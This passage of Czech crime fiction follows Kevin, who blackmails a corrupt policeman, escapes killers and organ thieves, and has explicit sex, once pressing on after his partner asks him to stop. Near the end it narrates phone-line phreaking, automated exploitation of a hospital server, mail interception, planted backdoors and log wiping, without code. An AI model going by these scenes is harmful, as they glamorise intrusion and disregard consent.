"Angelika" odpoví dívka. "Hezké jméno" řekne Kevin a zavěsí. Kevin chvilku přemýšlí, co vlastně tomu mafiánovi řekne. Už to má. S bušícím srdcem vytočí jeho tel. číslo. "Prosím" řekne policajt. "Tady je Kevin. No já jsem ten, co do vašeho počítače nasadil takový zajímavý program, který dokáže všechno zachytit a navíc odešle na můj email zajímavé informace. No řeknu vám, že toho vím poměrně dost. Kolik těch milionů dolarů z toho Švédska vlastně máš ty lumpe". Policajt chvilku mlčí a neříka nic. Kevin toho využívá a začne vyhrožovat. "Rychle odvolej ty Ruský vrahy, které jsi na mě poslal. Jestli mě zabijou, zítra si o sobě přečteš ve všech novinách. Pak bych ti doporučoval si nechat jeden náboj pro sebe. Bolševiku jeden zasranej". "Co chceš" říká policajt. "Dva miliony dolarů" říká Kevin. Rovnou ti můžu dát číslo účtu a za dva dny tam ty prachy chci mít. Je ti to jasný?" Vyhrožuje Kevin. "Pak budu mlčet já i moji parťáci" lže Kevin. "Dobře" odpoví fízl a zavěsí. Kevin se celý třese, ale má fantastický pocit vítěztví. Ovšem jeho situace se rychle změní k horšímu. Náhle za ním prudce zastaví auto a vyběhnou z něho čtyři muži. Namířenou pistolí se jeden z nich snaží Kevina přinutit, aby vystoupil z auta. Kevin poslechne a vystoupí. Lámanou češtinou mu ruský zločinec vyhrožuje, aby řekl všechno co ví. Druhý Kevina praští do břicha. Kevin klesne na kolena. Náhle jednomu z nich zvoní mobil. Ostatní přestanou Kevina mlátit a čekají co se děje. Náhle se situace výrazně změní ve prospěch Kevina. Zločinci se náhle změnili a stali se z nich docela přátelští lidé. Jeden se Kevinovi dokonce omluvil a řekl, že dělá pouze to, za co je placen. Nabídli mu cigaretu, ale Kevin odmítl, protože nekouří. Jeden z nich dal Kevinovi číslo svého Mobilu a s poznámkou "kdyby jsi někdy něco potřeboval, klidně mi zavolej", nasedli do auta a odjeli. Kevinovi opět zvoní mobil. "Prosím" říká Kevin. "Není ti nic?" ptá se policejní mafián. No dostal jsem několik ran, ale máš štěstí asi to přežiju" říká suvereně Kevin. "Za několik minut dám příkaz bance, aby převedla dva miliony dolarů na tvůj účet". "Tak žádné hlouposti", vyhrožuje tentokrát policajt. "Spolehni se" říka Kevin a zavěsí. Ty mobily jsou dobrá věc, pochvaluje si Kevin pro sebe. Kevin je spokojen. Nebude muset již pracovat. Při dnešním kurzu dolaru, má asi sedmdesát miliónů korun. Má chuť se pomstít tomu fízlovi, za ty dva dny deprese. Jak? Pomiluje se s jeho dcerou. Okamžitě volá její mobil. "Čau" říká Angelika Kevinovi. "Chci tě vidět" říká Kevin. "Jsi doma sama?" "Ano" odpoví dívka na druhé straně mobilu. "Počkej tam na mě, za chvilku jsem tam" a zavěsí. Nasedne do svého sportovního bavoráku a uhání směr hlavní město. Za 15 minut jeho BMW prudce brzdí před domem svého "chráněnce". Angelika ho vyhlíží z okna a spěchá mu otevřít. Kevin ji popadne za ruku a šeptá do ucha "jsem zachráněn". Dívka nic nechápe, ale věří mu. V ložnici jí Kevin políbí. Nebrání se, právě naopak. Celou dobu na tento okamžik čeká. Angelika má nádherná, velká pevná prsa, ještě o něco větší než Marta. Kevin jí sundavá tenkou blůzku a ona mu při tom pomáhá. Za chvilku je Kevin pouze ve slipech a Angelika má jenom malinké kalhotky. Kevin si sedne na postel a ona mu začne stahovat jeho slipy. Kevinův úd je ještě dost povadlý, a proto ho Angelika uchopí do ruky. To Kevina povzbudí. Za okamžik jeho pýcha trčí divoce vzhůru. Angelika má na sobě stále kalhotky a rychle si je sundavá. Její skulinka lásky je již vlhká a připravená přijmout Kevinův oštěp. Poručí Kevinovi, aby si lehl na záda. Kevin poslechne. Svým jazykem navlhčí Kevinův úd a nasměruje svojí skulinu na Kevinův oštěp lásky. Pak na něho pomalu nasedne. Jeho tělem prolétne slastný pocit a našponuje se jako luk. Angelika zatím na něm divoce rajtuje jako na koni. Kevin uchopí její velká prsa, která se třesou jako sulc. Kevin se snaží prodloužit výron semene co nejdéle, aby uspokojil i Angeliku. To se mu také podaří. Ta začne za okamžik divoce křičet a zatne své nehty do Kevinova těla, až se na něm objeví červené krvavé šmouhy. Ve stejném okamžiku i Kevin vypustí své semeno do její dělohy. První číslo rychle končí, ale Kevin je za okamžik opět připraven k akci. Tentokrát převezme iniciativu on. Přetočí Angeliku na záda a nadzvedne její nohy. Prudce vrazí svůj úd do její skuliny a žačne divoce přirážet. Kevin takto může "pracovat" hodně dlouho. Má to již vyzkoušené na Martě, která by o tom mohla vyprávět. Asi po dvaceti minutách, začne Angelika prosit Kevina, aby toho nechal, že jí strašně bolí v rozkroku. To Kevina ještě více rozdráždí. Za dalších pět minut, vysvobodí Angeliku tím, že začne stříkat semeno do její milované skulinky. Kevin si lehne na záda a odpočívá. Angelika si oddechla. Přesto se na Kevina nezlobí, časem by si určitě zvykla, podobně jako Marta. Za okamžik oba usnou. Za dvě hodiny se Kevin probudí, obleče se, a vyraží do tmy. Zajde do internetové kavárny a připojí se na server, kde má ten kompromitující mail. Je tam stále. Zatím ho tam nechá, ale změní si heslo. Pak jde spát. Ráno spěchá do banky, přesvědčit se, zda přišly slíbené miliony dolarů. Na přepážce se ptá na stav svého dolarového konta. Po zjištění totožnosti, mu mladá dívka jistýn hlasem odpoví: dva miliony a třicet dolarů. Kevin na dívku za přepážkou, chvilku nevěřícně hledí a ta něho také. Asi sem podobní klienti příliš nechodí. Kevin poděkuje a odchází. Neví kam. Zajde do první restarace a dá si nejlepší koňak jaký může. Hodí ho do sebe, zaplatí osmset korun a opuští hospodu. Číšník na něho nevěřícně koukal. Kevin kašle na alkohol v krvi a jede se projet svým sportovní autem. Jede pryč z Prahy, směr Jižní Čechy. Za dvě hodiny jeho BMW parkuje před luxusním horským hotelem Arnika na Kubově Huťi. V klimatizované restaraci si objedná spicialitu místní kuchyně a vychutnává pocit svobodného a bohatého člověka. Kevin si nemohl vybrat lepší místo. Tento hotel si nechali postavit kumunisti v nádherné krajině pod Boubínem, v nadmořské výšce tisíc metrů. Po jídle se přeptá v recepci, je-li volný pokoj. Je volný. Kevin se ubytuje a jde se projít do lesa. Jak tak kráčí mezi smrky, napadne ho opět dábelská myšlenka. Ožení se s Angelikou. Ano! S tou dcerou toho policajta, od kterého má dva miliony dolarů. Bere mobil do ruky a volá Angelice. Ta nejprve nevěří a ptá se ještě jednou. "Chci si tě vzít" říká Kevin. "Kde jsi" ptá se Angelika. "Na Šumavě" odpovídá Kevin. Jo a jedu pro tebe. Kevin nastartuje svoje BMW a jede zpět do Prahy pro svojí budoucí ženu. Mezitím objednal pokoj pro dva. To bude sranda, až se ten fízl dozví, že si bere jeho dceru. Za tři hodiny brzdí jeho sportovní auto s Angelikou na sedadle před hotelem Arnika. Je již tma a jdou spát. Angelika se jde osprchovat a Kevin pozoruje její nádherné tělo. Také se svlékne a jde za ní. Angelika si k němu klekne a bere jeho úd do úst. Za chvilku stříka do Angeliky svoje semeno. Na Kevina náhle přijde obrovská únava a jde spát. Běh údálostí posledních dní ho vyčerpal. Spí dlouho, až dokonce je musí budit pokojská. Kevinovi se nechce z postele, a proto si zaplatí další noc. Pokojská odchází. Je krásný slunný den a ráno se Kevin miluje rád. Angelika určitě také. "Její pochva je určitě vlhká" pomyslí si Kevin a okamžitě je úd nabývá na velikosti. Otočí se k Angelice, která ještě spí. Začne jí líbat na její velká ňadra. Angelika ho chytne za hlavu a mačká směrem dolů. Kevin se jí vysmekne a jeho cílem se stane její milovaná skulinka mezi nohama. Začne otvor lásky vášnivě líbat. Její dírka je tak vlhká, že Kevin má vlhký celý obličej. "Chci ho tam...chci" křičí Angelika. Poslechne ji. Divoce jí zvedne nohy a zajede bleskově do otvoru. Mlaskavý zvuk je slyšet až na chodbu. Pokojská je na podobné situace zvyklá, takže to ignoruje. Angelika ví, že Kevin má první číslo rychle. To se také stalo. Kevin jí začal kousat pod bradou, což je signál, že bude stříkat. Což se také stalo. Milování pro dnešek skončilo. Domluví se s Angelikou, že pojedou do Prahy oznámit jejich zasnoubení. Kevin se na to těší. Konečně pohlédne tomu mafiánovi přímo do očí. Snad ho nepozná, ale stejně by to bylo jedno - jednou mu to stejně řekne. Nasnídají se v klimatizovaném prostředí skvělého hotelu a Kevin nastartuje sportovní BMW. Jedou směr Praha. Po hodině a půl klidné jízdy, Kevinovo auto brzdí před luxusní domovem jeho nastávající. Její dálkový ovladač otevře mohutné kovové dveře. Jejich pohyb sledují oči kamer. Nikdo není doma. Za dvě hodiny přichází Angeliky otec. Kevin si ho představoval jako malého, tlustého bývaleho komunistu, který se mstí za listopad 89. Nemýlil se. Do místnosti vešlo malé tlusté prase, s prasečíma očima, které nedůvěřivě spočinuly na Kevinovi. Kdyby to malá tlusté prase vědělo kdo jsem. Kevin si všiml pod jeho sakem služební pistole. Kdyby ten fízl věděl, že před ním stojí ten, který ho připravil o dva milióny dolarů, okamžitě by ho zastřelil. Byl by toho schopen. Myslel si Kevin. Trapné ticho přeruší Angelika. Dovol tati, abych ti představila svého nastávajícího. Kevin se hrdě podíval do očí tomu mafianskému fízlovi. Ten nehnul ani brvou - je to profík. Fízl přistoupil ke Kevinovi a podal mu ruku. Ten nabítku opětoval. "Kde pracuješ" zeptal se fízl. "Jsem počítačový programátor" odpověděl Kevin. "To máš asi slušný plat" reaguje trochu ironicky fízl. "Asi sedmdesát tisíc měsíčně" řekne Kevin. Ty dva milióny dolarů zatajil. "No to je dobrá partie Angeliko" osloví policajt dceru. Ta se mírně usměje. "Kdy bude svadba?" zeptá se fízl. "Ještě nevíme, ale co nejdříve" odpoví Angelika. Kevin měl pocit, že ten člověk z toho má radost. Možná proto, že bude moci předvádět před svými známými svůje bohatství. Nakonec, dceru každý vdává pouze jednou a na takové události se nešetří. A Kevin se nemýlil. Fízl nechal pronajmout téměř celý luxusní hotel v centru Prahy. Jenom pro tuto akci, koupil několik mercedesů, každý za milion korun. Kevin se vůbec nad tím nepozastavuje - ví své. Jako svatební dar, dostanou novomanželé pěkný nový byt v klidné části Prahy. No a aby příliš nestrádali, jejich konto se rozroste o jeden milion US dolar. "Kolik ten lump těch milionů ještě má?" Pomyslí si Kevin. Najednou Kevin začal pchybovat nad svým jednáním. Co když ho někdo pozná? Co když na svatební hostinu přijde někdo kdo ho pozná? Např. ti ruští nájemní vrazi? "To by byl pěknej průser". Řekne si Kevin sám pro sebe. Ovšem stane jiná, pro Kevinův další život klíčová věc. Angelika zavolá mobilem skutečnost, že se vdává, Kevinovo dnes již bývalé přítelkyni Martě. Ta leží v nemocnici s podezřením na rakovinu prsu. To ale Kevin neví. Na Martu tato informace má špatný vliv a chystá se Kevinovi pomstít. Její čas ještě přijde. Mezitím si Kevin nechal udělat falešné doklady, včetně rodného listu. To je přímo nutnost, protože ten fízl by ho okamžitě identifikoval. Jeho nové jméno je Kevin Wágner. Přesto Kevin udělal malou chybu. Nechal si příjmení Kevin. Stejným jménem se představil, když oslovil toho fízla a hrubým způsobem požadoval dva milióny dolarů. Na to Kevin přišel v okamžiku, když se fízlovi představil. Ten při vyslovení jména Kevin, náhle prudce změnil výraz ve tváři. V tom okamžiku Kevinovi všechno došlo. Bylo již pozdě. V životě nejde zpětně editovat a opravovat slova jako při psaní na počítači. V životě je všechno nevratné. Od tohoto okamžiku Kevin věděl, že ho fízl sleduje. Je možná jediný, kdo ví o jeho mafiánských kontaktech. Za co mu ty prachy vlastně chodí? "Možná to jsou provize ze zisků různých zločineckých skupin". Uvažuje téměř nahlas Kevin. Kdo v tom vlastně jede? Za ty peníze není problém podplatit téměř celou policii. Kevinovi zamrazilo v zádech. Jednoho dne, za ním přijde jeho budoucí tchán a požádá ho, jestli by se s ním neprojel v jeho novém autě. Kevin by samozřejmě řídil. Možná vyšší moc Kevinovi cosi našeptala a ten si najednou uvědomil, že ten policajt zná jeho číslo mobilu. Určitě ho zná, protože mu volal a požadoval dva melouny US za to, že bude mlčet. Kevin raději vypíná svůj mobil. Slyšel, že policie může sledovat zločince právě díky jejich mobilům. Jak to funguje? Mobilní síť je založena na celulární struktuře. To znamená, že celé obsluhované území je rozděleno na buňky. Jsou to stejně velké šestiúhelníky. Uvnitř tohoto šestiúhelníku je umístněna základnová stanice. Několika vzájemně sousedícím buňkám, které vytváří tzv. svazek, kde každé z nich jsou přiděleny kmitočtové kanály, které se nesmí opakovat u ostatních buňek téhož svazku. Mobilní telefon neustále měří intenzitu signálu ostatních základnových stanic a naměřené údaje předává přes základovou stanici pomocí které právě komunikuje do centra, kde se rozhodne, zda je nutné provést přeladění na jinou frekvenci. Pomocí tohoto mechanizmu, může řídící centrum sledovat každého uživatele sítě a zjistit, kde se v daném okamžiku nachází. Je jasné, že policie k těmto informacím má přístup. Proto Kevin než nastoupí do auta, vypne mobil. A udělá dobře. Přesně o toto fízlovi jde. Potřebuje důkaz. Vyjedou ven z Prahy a jedou směrem na Kolín. V Kolíně se otočí a jedou zpět do Prahy. Tajný policejní agent sleduje pohyb Kevinova mobilu. Ale mají smůlu, Kevin mobil vypnul. Těsně po příjezdu volá budoucí tchán někam svým mobilem. Prohodí pár slov a sklamaně hovor ukončí. Za čtrnáct dní se koná velká svadba. Kevin je připraven. Mezitím si koupil nový mobil a ten starý hodil do vltavy. Kevina napadlo zavolat Martě a oznámit jí, že se žení. Vytočí její číslo a čeká. "Prosím" řekne tichým hlasem Marta. "Čau" tady je Kevin. "Kde jsi" ptá se Kevin. "V nemocnici" odpoví Marta. "Mám AIDS" řekne. Kevin stuhne. "Cože?" ptá se Kevin "AIDS!" kříčí Marta do mobilu. "No to si snad děláš srandu ne?" "Ne nedělám. Už jsem ti to chtěla sama zavolat, ale měl si vyptutý mobil. Teď koukám máš asi nový že?" reaguje Marta. Kevin mlčí. Neví co říkat. To co Marta říka, zní až příliš přesvědčivě. "V jaké jsi nemocnici?" ptá se Kevin. "Na Vinohradech" odpoví Marta tiše. "Jedu za tebou" řekne a ukončí hovor. Najednou Kevinovi na ničem nezáleží. Potřebuje jistotu. Jede do nemocnice a ptá se na Martu. Tam mu řeknou, že leží na onkologii. To Kevina příliš neuklidní. Je mu jedno co jí je. Potřebuje vědět, má-li opravdu AIDS. To mu ale v nemocnici nikdo samozřejmě neřekne. Kevin je zoufalý. Jestli má Marta opravdu AIDS, má tuto nemoc také. Je si tím stoprocentně jist. Když si vzpomene, co všechno s Martou prováděli je to jisté. Ale co když to dostala Marta od něho? Nesmysl. Předtím žádnou holku neměl a ani si nic nepíchá. Sakra co teď? Co když ta děvka lže? Volá Angeliku a ptá se, jestli náhodou něco neřekla Martě. "Ano" říká. "Řekla jsem, že si beru tebe". "Hmm" zahučí Kevin a ukončí spojení. "Možná se chce jenom pomstím mrcha". Myslí si Kevin. Proč by ležela na onkologii? Kevin je opět v zoufalé situaci. Náhle dostane opět ďábelský nápad. Jde za budoucím tchánem a požádá ho o pomoc. "Potřeboval bych určitou pomoc" povídá nejistě fízlovi. "O co jde" opětuje fízl. Jedna děvka mě vydírá. Dozvěděla se, že si beru tvojí dceru a prý něco velkého ví. Momentálně leží v nemocnici na Vinohradech. Potřebuji zjistit její přesnou diagnózu. Hlavně jestli nemá AIDS.". Fízl vezme mobil a někomu volá. Poznal, že jde o dost. Asi za hodinu má přesné informace o zdravotním stavu Marty. "Rakovina prsu" Oznámí budoucí tchán Kevinovi. "Na AIDS jí dělali také testy a byly negativní". Oznámí fízl opět Kevinovi. Teď ale fízl změní téma. "Znám také jednoho Kevina a ten mně připravil o dva miliony dolarů" Řekne fízl. "Ano jsem to já" odpoví klidně Kevin. Fízl není nijak překvapen. Asi to ví delší dobu. "Takové lidi jako jsi ty Kevine, policie potřebuje" Říká téměř otcovsky jeho budoucí tchán. Kevin si pomyslí "ty hajzle". Od prvního okamžiku, kdy tohoto tlustého skrčka uviděl, ho upřímně nenávidí. Těší se na okamžik, kdy bude za katrem. "Zajímalo by mě o co tady jde" ptá se Kevin. Jsem již téměř v rodině ne? "Fízl vytáhne z baru láhev skotské. "Dáš si?" Ptá se Kevina "Ale ano" řekne Kevin. "Podívej se Kevine, já pracuji u policie již 35 let a zažil jsem hodně. Před listopadem 89 jsem zastával poměrně vysokou funkci v STB. Měl jsem dobré kontakty na KGB, ale i jinam. Po revoluci jsem musel odejít z této funkce. STB byla zrušena. Od policie mě sice nevyhodili, ale šlapal jsem 5 let chodník. To mě hodně ponížili ne? Teď pracuji na ministerstvu vnitra". "Já se ptal na ty miliony dolarů" reaguje Kevin. "Kdo o tom kromě tebe ví?" Zeptal se fízl. Kevin si náhle uvědomil, že o tom ví jenom on. Kdyby mu to řekl, určitě se nedožije rána. Jenže teď je v rodině, takže jeho zmizení nebo smrt by byla považována za téměř normální. Kevina zamrazilo. Četl Kmotra a ví, že vraždy v rodině normální jsou. Přesto Kevin riskuje život a odpovídá fízlovi "Lhal jsem ti. Vím o tom jenom já" Budoucímu tchánovi se zlověstně rozjasní tvář. Určitě si řekl - to je tvůj poslední den hajzle. Začne Kevinovi vyprávět o svých kontaktech s mafií. "Já jsem rozhraní mezi státem a mafií" řekne fízl a pokračuje. "Dostávám miliony dolarů od mafie a mojím úkolem je tyto peníze rozdělit mezi potřebné. Rozhodně to ale nejsou bezdomovci. Jsou to soudci, policajti, vládní úředníci, dokonce i ministři aj. Cílem je umožnit mafii její působení zde. Dělám to již 4 roky a rozdělil jsem již asi 200 milionů dolarů. Ty dva miliony, které jsem dal tobě počítám také. Ty jsi první člověk, kterému to říkam. Jinak mě nikdo z těch, které jsem podlatil nezná." Kevinovi vyschlo v krku. Je to rozsudek smrti? Asi ano. Za dveřmi slyší nějaké hlasy a průmyslové kamery sledují celou místnost. Vrazi za dveřmi čekají na pokyn svého pána. Za okamžik vejdou do místnosti a vykonají rozsudek. Kevin si všiml otevřeného okna. Ani vteřinu nezaváhá. Rychlým rozběhem se vrhá k oknu a skáče. Fízl rychle vyndal služební zbraň a vystřelil na Kevina. Měl ale smůlu. Střela rozbila okno, ale Kevina nezasáhla. Ten oběhne roh domu a běží ven. Po zadání kódu se dveře sami otevřou. Kevin mizí mezi lidmi. Fízl zuří. Volá své rusky mluvící vrahy a dává jednoznačný příkaz: zabít. Ztracen v životě Nechá si zavolat Angeliku a lže jí, že se ho Kevin pokusil zabít. Vyhlásí po něm policejní pátrání. Angelice přikáže:"kdyby volal Kevin, dej mi okamžitě vědět". Nic nechce nechat náhodě. Kevin musí co nejdříve zemřít. Kevin zatím bloudí Prahou. Má proti sobě celou policii. Teď potřebuje především klid, aby mohl svou situaci podrobně analyzovat. Zatím stále žije, takže je všechno OK - utěšuje se. Najde si klidné místo a sedne na lavičku. Zakryje si oči a snaží se intenzivně přemýšlet. Opět slyší zvuk policejního vrtulníku. Musí přijít na nějaký plán, ale nic ho nenapadá. Je úplně prázdý a mozek nechce pracovat. Potřebuje si dát pivo. Zajde do nejbližší hospody a sedne k prázdnému stolu. Dvanáctka budvar mu oživí mozek. Dopije, zaplatí a vyjde ven. Sedne zpět na lavičku a nahlas přemýšlí. Musím to někomu říct, protože když mě zabijou, nikdo se o tom nedozví. Dobrý nápad. Co vlastně má? Má Angeliku a dva miliony dolarů. Sakra! To je ono. Ty prachy. Ten ruský vrah mi dal číslo mobilu, s poznámkou, kdybych něco potřeboval, můžu mu klidně zavolat. Náhle se mu v hlavě zrodil geniální plán (Budvar začal působit). Jde do banky a vybírá v hotovosti půl milionu dolarů. Kupodivu tady na něj nikdo nečeká. Zatím má štěstí. Teď na něj čeká horší věc. Přesvědčit někoho v televizi, aby natočili jeho smrt. Mezitím zavolal ruského najemného vraha. "Prosím" řekne vrah. "Tady je Kevin. Jednou si mi dal číslo, že když něco budu potřebovat, můžu ti zavolat. Pamatuješ? "O co jde" řekne vrah. Kolik ti zaplatí za mojí vraždu?" ptá se Kevin "250 tisíc korun" řekne hrdě vrah. "Já ti dám milion dolarů, když po mně budeš střílet slepím nábojem v případě, že k tomu budeš mít příležitost. OK?" Rus chvilku váhá, pak ale souhlasí. "Můžu ti ty prachy dát v hotovosti". Povídá Kevin. Rus souhlasí. "Až po mně budete střílet, budu mít v ruce ten kufřík s prachama. Bude tam pouze polovina. Druhou polovinu vám převedu na váš účet bankovním převodem. Jistím se. Stále se mám ještě dost rád". Povídá do mobilu Kevin. "Po "atentátu" se sejdeme pod koněm na Václaváku". Doplní ještě Kevin. Vrah souhlasí. Teď je potřeba přesvědčit někoho, aby to všechno natočil videokamerou. Kevin marně přemýšlí, kdo by to mohl natočit. V jedné telezi mají takovou info linku, kam může kdokoli a cokoli oznámit. Kevin tam zkouší volat. Mladá žena, která přijala Kevinův telefonát ho žádá, aby stručně řekl co chce. Je evidetně nervózní a Kevinův příběh jí nezajímá. Dokonce ho odsekla s poznámkou, aby si nedělal blázny. Přesto se Kevin nevzdává a zkouší tam volat opět. Tentokrát jsou kupodivu mnohem vstřícnější. Pravděpodobně používají tento způsob jednání jako "filtr", aby se zbavili různých volajících bláznů. Kevin se opět snaží přesvědčit, že to je pravda. Operátorka v televizi předá jeho hovor redaktorce. Ta je mnohem vstřícnější a Kevinovi konečně částečně uvěří. Kevin jim dokonce nabídne tisíc dolarů jako zálohu na potřebné výdaje. To je definitivně přesvědčí. Již pouze stačí vybrat vhodné místo pro natočení celé akce. Společně vyberou jednu zapadlou ulici, kde je možné z půdy opuštěného domu všechno natočit a kameraman i redaktorka jsou v bezpečí. Zbývá to nejdůležitější - přilákat sem vrahy. Ti samozřejmě nevědí, že budou natočeni. Kevin volá mobilem Angelice. Předpokládá, že její mobil má pod kontrolou fízl. A je tomu tak. "Prosím" řekne do mobilu Angelika. "Prosím tě přijeď sem" řekne Kevin Angelice a přidá jméno ulice. "Dobře" řekne Angelika a zavěsí. Její hlas byl dost chladný a Kevin z toho správně usoudil, že uvěřila svému otci. Nevadí, stejně jsem se ženit nechtěl. Pomyslí si Kevin. Kevin dá znamení na půdu, že vrazi jedou. Za několik minut se opuštěnou ulicí ke Kevinovi přibližuje černý mercedes. Zastaví asi dvacet metrů od Kevina. Kameraman vše natáčí. Kevin uviděl v okně auta fízla. Takže sám velký šéf se jede podívat na moji vraždu. Doufám, že kameraman natočí jeho detail. Pomyslí si Kevin. Dva podplacení vrazi otevírají dveře auta a s kuklami na hlavách jdou směrem ke Kevinovi. Bleskově vyndají pistole s tlumiči a několikrát na Kevina vystřelí. Ten se složí k zemi. Rusové nesklamali. Kevin necítí žádnou bolest. Rusové bleskově seberou kufřík, který leží vedle "mrtvého" Kevina a utíkají pryč. S tím fízl nepočítal a vylézá z auta. Vše je natočeno. Náhle se rychle vrací a mercedes rychle odjíždí. Současně se stala naprosto neočekávaná událost. Z vedlejší ulice vyjíždí vozidlo rychlé záchrané služby a dva zřízenci Kevina bleskově naloží a odvezou pryč. Do nemocnice? Ta sanitka tam už musela stát předem, pomyslí si Kevin. Má pravdu. Fízl měl kontakty i na bílou mafii a dodával jim lidi pro odběr orgánů. Měl to dobře promyšlené. Vybíral si osamělé lidi bez příbuzných, které dal buď unést, nebo smrtelně postřelit. Předem samozřejmě informoval "doktora". Takže ten hajzl chtěl vydělat i na Kevinově smrti. Kevin byl pro něho idealní oběť. Byl sám, neměl příbuzné a nikdo ho neznal. Jinak řečeno, nikdo by ho nepostrádal. Pak se zveřejní informace o tom, že se jistá osoba postrádá, a že ji hledá policie. Jak prosté. To ale Kevin neví. Přesto jeho mozek pracuje na plné obrátky. Zřízenci v autě jsou dost nervózní a o Kevina se vůbec nezajímají. Několikrát mu nahmatají tep, aby se přesvědčili, zda ještě žije. Kevin má zavřené oči, ale přesto se snaží mezi mírně pootevřenými víčky, situaci sledovat. Zjistí, že oba zřízenci jsou v obličeji tlustí jako prasata. Nejraději by je oba nohou kopl do jejich tlustých ksichtů. To by byl jeho konec. Přesto se stane pro Kevina zajímavá věc. Jeden zřízenec osloví "doktora" příjmením. Kevin si toto jméno vryje hluboko do paměti. Možná se mu to hodí. Počká až sanitka zastaví a vynesou ho ven. Pak najednou prudce vyskočí a začne divoce křičet. Utíká pryč z nějakého záhadného domu kam ho dovezli. Kevin běží a běží. Už ale nemusí chvátat. Nikdo ho nepronásleduje a již pronásledovat nebude. Kevin zvítězil. Ještě zplatit půl milionu dolarů a je konec. Kevin dojede pod koně, kde již netrpělivě čekají nájemní vrazi. Bez jediného slova jde do banky a na jejich účet převede dalších pětset tisíc dolarů. Ti poděkují a s přátelským pozdravem se rozejdou. Na Kevina padne obrovská úleva. Vzpomene si na své auto. Kde ho vlastně má? Sakra před domem fízla. Rychle tam jede. Po příjezdu zjistí, že je tam obrovská mela. Všude policejní auta, několik televizí. Kevin chvilku stojí na chodníku a uvidí fízla, kterého odvádí policie. Kevin mu pokyne rokou. Je to vítězství? Možná. Kevin nenápadně prohlédne své skvělé auto, jestli pod ním není bomba. Letmý pohled neříká nic mimořádného. Kevin otevře dveře a usedne. Strčí klíček do zapalování a nastartuje. Motor okamžitě naskočí a Kevin se rozjede. Zkusí brzdy a zdá se být vše v pořádku. Vyrazí směr Šumava. Dojede až na Kubovu Huť, pak po těžních cestách vyjede těsně pod vrchol Boubína. Je nízká oblačnost a občas nějaký mrak zasáhne Kevinovo auto. Kevin vystoupí a z hluboka se nadýchne svěžího vlhkého vzduchu. Snaží se na nic nemyslet, přesto zážitek v sanitce mu stále vrtá v hlavě. Zná jméno doktora, který mu chtěl odebrat tělesné orgány proti jeho vůli. Kevin si dobře pamatuje jeho ksicht. Strašně rád by mu pohlédl do očí a zeptal se ho, proč mu ty ledviny chtěl ukráct. Kevin sjede dolů a ubytuje se v hotelu Arnika. Možná ho budou hledat, ale na to Kevin kašle. Teď se musí pořádně najíst a vyspat. V bance mu zůstal milion dolarů a s tím se dá žít ne? Druhý den se projde po lese a přemýšlí co dále. Po návratu si vzpomete na svůj notebook, který má stále v autě. Kevin ho v minulosti používal pro připojování do Internetu z venkovních telefonních rozvodů Telecomu. Kevin k tomu má všechno co každý správný "Phreaker" má mít. Telecom používá jednotný klíč pro všechny své malé venkovní rozvody. Ten Kevin má. Tam jsou umístněny speciální svorkovcice, která se jmenují "Krone". Kevin má speciální konektor na tyto "ježky". Po zasunutí do příslušné zdířky se tel. linka rozpojí, a na výstupních konektorech má Kevin oznamovací tón z tel. ústředny. Legální účastník je odpojen. Teď se mu všechny tyto nástroje hodí. Po setmění vyrazí. Vyhlédne si nějaký opuštěný rozvod, otevře ho a připojí si tel. linku na faxmodemovou PC-kartu ve svém notebooku a připojí se do Internetu. Spustí prohlížeč a hledá všechny nemocnice. Kevin chce najít "doktora" pomocí Internetu. Některé nemocnice zveřejňují jména doktorů na Internetu. Kevin doufá, že se mu takto podaří najít nemocnici, kde "doktor", který mu chtěl ukráct ledvinu pracuje. Má štěstí! Přesně jak předpokládal. Kevin si okamžitě spustí příkazový řádek Linuxu. V tomto skvělém prostředí má všechno co potřebuje k úspěšnému útoku na server. Nemocnice používá jeden komerční Unix, na který má Kevin dostatek exploitů. V minulosti monitoroval velké množství konferencí o bezpečnosti a získal obrovské množství nástrojů. Kevin si z nich vytvořil speciální databázi a napsal si skript, který spolupracuje s programem Nmap. Tím může celý útok automatizovat. Celý tento inteligentní systém vyhledává otevřené porty a zjišťuje verze programů, které tam pracují. Pak systém sám rozhodne, který exploit z databáze použít. Exploity jsou upravené a udělají vše potřebné. Pak Kevin opět spustí skener a zkouší, neobjevily-li se nové otevřené porty. Jestliže ano, je to nově instalovaný backdoor. Trvá to asi třicet minut a na Kevina mrká rootův shell ve vzdáleném serveru. Je inside. Kevin zadá příkaz who, není-li root na konzole. Pak do domácího adresáře "doktora" přidá soubor .forward a napíše do něho login jméno "doktora" a svůj email na který pošta také přijde. Pak nainstaluje několik dalších backdoorů, aby měl na systém bezproblémový přístup. Odhlásí se a znuvu připojí přes nově vytvořený backdoor, aby smazal soubor .bash_history. Potom se definitivně odhlásí. Kevin bude takto monitorovat mailovou komunikaci "doktora" a věří, že získá další informace. Bude mít dostatek času a může něco podniknout. Neví co, ale dostal chuť se pomilovat. S kým? Marta má rakovinu a Angelika na něj kašle. Co takhle zkusit nějaký inzerát v rubrice "příjemné chvíle?". Koupí si noviny a mobilem volá na jedno číslo. Ozve se hlas mladé dívky a Kevin jí pozve k sobě do hotelu. Za necelou hodinu přijede dívka a Kevin na ní čeká před hotelem. "Katastrofa!" Řekne si Kevin sám pro sebe. Čekal mladou holku a přijede "stará" bába. Kevin jí pozve na večeři a pak řekne, že nemá zájem. Zaplatí výlohy a ona odjede. Kevin si tedy objedná pivo, pak další a další a ještě jedno. Spitý jako rus, jde spát. Několik dní se nudí a toulá lesem. Pak opět zajede ke "svému" telefonu a volá do Internetu. Připojí se na svůj mailový účet přes www a mail od "doktora" je v inboxu. Otevře ho. Bohužel pro Kevina, dopis je zašifrován pomocí PGP. Ale odesílatelem je fízl. Kevin je v šoku. Pohledem do hlavičky mailu zjistí, že mail byl odeslán ze stejného počítače kam Kevin před několika týdny nasadil "štěnici". Že by fízla pustili? Vůbec by se nedivil. Jestli je to pravda, jeho život je opět ohrožen. Rozhodne se zásadním způsobem změnit image. Nechá si narůst dlouhé vlasy, které teď mají světlou barvu, vousy také nechybí. Kevin má plán, jak se dostat do blízkosti "doktora". Pokusí se stát zaměstnancem nemocnice jako správce počítačové sítě. Kevin má co nabídnout. Nemá sice vysokoškolské vzdělání, ale jeho schopnosti jsou potvrzeny několika certifikáty renomovaných firem. Kevin má úspěch - je přijat. Kevina vůbec nazajímá jeho plat, nejenom proto, že na jeho kontě je milion dolarů. Hlavně potřebuje zjistit co nejvíce informací o "doktorovi", který mu chtěl odebrat jeho tělesné orgány. Poprvé ho spatří v jídelně, kam chodí na obědy společně s celým personálem nemocnice. Okamžitě ho poznal. Kevin má na lidi zvláštní instinkt a myslí si, že pro tohoto člověka lidé 